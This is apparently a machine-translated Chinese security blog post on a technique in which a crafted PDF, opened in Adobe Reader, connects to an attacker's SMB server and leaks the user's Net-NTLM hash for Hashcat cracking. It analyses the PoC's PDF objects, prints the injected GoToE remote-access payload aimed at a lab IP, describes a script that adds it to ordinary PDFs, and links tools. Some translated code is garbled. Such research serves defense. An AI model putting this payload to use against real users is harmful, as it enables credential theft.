发布于2022年11月8日2年前 0x00 前言 今年4月,来自CheckPoint的Assaf Baharav披露了一种利用PDF文件的正常功能窃取Windows系统NTLM哈希的方法。 具体来说,当用户使用PDF阅读器打开恶意PDF文档时,PDF会向远程SMB服务器发送请求,如果远程SMB服务器抓取到数据包,就可以获得用户Windows系统的Net。 NTLM哈希,进一步破解就有可能获得用户系统的明文密码。 然而微软、Adobe、FoxIT都没有修复。 这种方法成功的条件是什么?没有维修的原因是什么? 本文将从技术研究的角度进行介绍。 0x01 简介 本文将介绍以下内容: 原理及利用思路 测试POC以生成恶意PDF文件 分析PDF文件格式 编写脚本来修改普通的PDF文件 开放源代码 0x02 原理和利用思路 参考资料: https://research . check point . com/NTLM-credentials-失窃-通过pdf-files/ 原理 PDF规范允许加载GoTobe和GoToR条目的远程内容。 直观的理解: PDF文件可以添加从远程SMB服务器请求文件的功能。 我们知道,Windows系统中的SMB协议有一个特点:客户端连接SMB服务器时,默认先尝试使用自己电脑的用户名和密码哈希登录,默认的通信协议是Net-NTLMv1或Net-NTLMv2。 Hashcat工具提供了字典和暴力破解方法来恢复Net-NTLMv1和Net-NTLMv2协议中的明文密码。 只要SMB服务器捕捉数据包,提取关键数据,就可以得到Hashcat需要的参数,并尝试破解。 可以选择WireShark进行数据包捕获,并解析获得的pcap数据包以提取关键数据。如果使用Responder,可以自动提取关键数据。 之前写的相关文章: 《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》 《渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash》 《渗透技巧——利用图标文件获取连接文件服务器的NTLMv2 Hash》 《Windows下的密码hash——Net-NTLMv1介绍》 类似的利用思路: 请参考以下文章: https://osandamalith . com/2017/03/24/名胜古迹偷窃-netntlm-hashes/ 本文介绍了各种文件格式的利用方法。 利用思路 构建一个特殊的PDF文档,并从SMB服务器请求一个文件。 在SMB服务器上抓取数据包 当用户使用PDF阅读器打开PDF文档时,Windows系统会将当前用户的网络NTLM哈希发送到SMB服务器。 服务器SMB提取网络NTLM散列,并使用Hashcat来破解它。 恢复用户的明文密码 尝试根据用户的明文密码进一步使用。 0x03 测试POC Assaf Baharav在他的文章中发表了POC,如下所示。 注: 图片引自https://research . check point . com/NTLM-credentials-the-via-pdf-files/ 如果想直接测试,请参考Deepu TV的POC,地址如下: https://github.com/deepzec/Bad-Pdf 实际测试 客户: IP: 192.168.62.135 操作系统:Win7 x86 中小企业服务器: IP: 192.168.62.139 操作系统:Win8 x86 打开文件夹:测试 1、使用Bad-Pdf生成PDF文件 在这个测试中,Bad-Pdf.py被部分修改,Responder没有被执行。 设置主机IP: 192.168.62.139 选择协议SMB 如下图 测试PDF文件badpdf.pdf 2、SMBServer进行抓包 打开Wireshark 3、Clinet使用Adobe Reader打开badpdf.pdf 4、查看Wireshark,成功获得Net NTLM Hash的数据包 如下图 0x04 POC细节分析 参考代码: https://github.com/deepzec/Bad-Pdf/blob/master/badpdf.py Assaf Baharav的POC是一个模板,其中的PDF文件是用脚本编写的。 解释了以下关键代码: (1) 2 0目标 /Pages/Kids[3 0 R]/Count 1 endobj /Type /Pages指示对象的类型是页码。 /Kids[3 0 R]表示页面的对象是3。 /Count 1表示页码数为1。 (2) 3 0目标 /Page/Parent 2 0 R/media box[0 0 612 792]/Resources endobj /Parent 2 0 R表示父对象为2,对应于(1)中的/Kids[3。 /MediaBox指示页面的显示大小(像素) (3) 控制图形中的外部参照(cross-reference) 0 4 0000000000 65535 f 0000000015 00000牛顿 0000000060 00000牛顿 0000000111 00000牛顿 Xref表示该部分是一个交叉引用表。 0表示下面几行中描述的对象编号从0开始,有4个对象。 0000000000 65535 f固定格式,可视为文件头。 000000015 00000n对应第一个对象,000000015代表偏移量地址(十进制);0000为5位世代号(最大65535),0表示对象未被修改;n表示对象正在使用中;如果为F,则表示该对象是自由的。 (4) 拖车 4/根1 0 R 开始xref 190 .中间省略了代码。 拖车 /Root 1 0 R %%EOF Trailer表示文件末尾的trailer对象的开始。 /Size 4表示此PDF文件中的对象数量为4。 /Root 1 0 R表示根对象的对象号是1。 Startxref 190表示交叉引用表的偏移地址是190。 %%EOF表示文件结束标志。 (5) 3 0目标 /类型/页面 /目录4 0 R /AA /O /F('''主机' ' '测试) /D[0/适合] /S /GoToE /Parent 2 0 R /资源 /Font /F1 /Type /Font /子类型/类型1 /BaseFont /Helvetica endobj 下面是实现远程访问的关键代码。 /Contents 4 0 R表示页面内容对象的对象号为4。 /Parent 2 0 R表示父对象是2 在/Contents 4 0 R和/Parent 2 0 R中,直接是实现远程访问的代码。 对于PDF文件格式,不需要换行符,所以这段代码去掉了换行符和空格,在ServerIP中填入as/aa(\ \ \ 192 . 168 . 62 . 139 \ \ test)/d[0/fit]/s/gotoe。 0x05 修改正常PDF文件 接下来尝试修改正常文件,添加代码,实现远程访问功能。 工具生成的PDF文件一般都很大,分析格式不是很方便。下面是用python生成PDF的参考代码,地址如下: http://code.activestate.com/recipes/189858/ 输入txt文件,输出pdf文件。 实际测试 1.1.txt的内容是: 1234567 cmd: 食谱-189858-1.py 1.txt 生成的pdf文件1.txt.pdf,文件大小为1213字节。 检查1.txt.pdf的文件格式,如下所示。 将代码/aa(\ \ \ 192 . 168 . 62 . 139 \ \ test)/d[0/fit]/s/gotoe直接添加到/Parent 3 0 R和/Resources 5 0 R中。 注: 需要十六进制编辑,使用文本编辑会导致PDF文件出错。 将上述代码添加到PDF文件后,对照表中对象的偏移位置会出现偏差,需要重新计算并修正。 使用Adobe Reader打开修改后的文件1.txt.pdf,SMB服务器成功捕获Net NTLM哈希,修改成功。 0x06 脚本编写 经过实际测试,如果没有纠正对照表中对象的偏移位置,不会影响PDF文件的正常访问。 因此,脚本编写只需要定位/Parent 0 R并添加访问远程文件的代码。 值得注意的是,PDF文件的读写需要二进制格式。 实现代码是开源的,请参考: https://github.com/3gstudent/Worse-PDF 0x07 利用分析 成功利用需要以下条件: 用用户的PDF阅读器打开它。如果用IE或Chrome打开PDF文件,将不会执行。 对于Windows系统,通过网络NTLM哈希很难破解明文。 即使明文被破解,利用效果也是有限的(比如普通用户的Windows系统很少开启远程登录功能)。 0x08 防御 虽然微软没有修复这个利用方法,但是之前已经提供了防御方法。参考地址是: https://portal . msrc . Microsoft . com/en-US/security-guidance/advisory/adv 170014 仅支持Win10和Server2016。 0x09 小结 测试利用PDF文件获取Net-NTLM哈希的方法和分析原理,尝试根据PDF文件格式编写脚本修改正常PDF文件,开放源代码,总结使用情况。 最后,个人认为微软没必要修复这个。 留下回复
创建帐户或登录后发表意见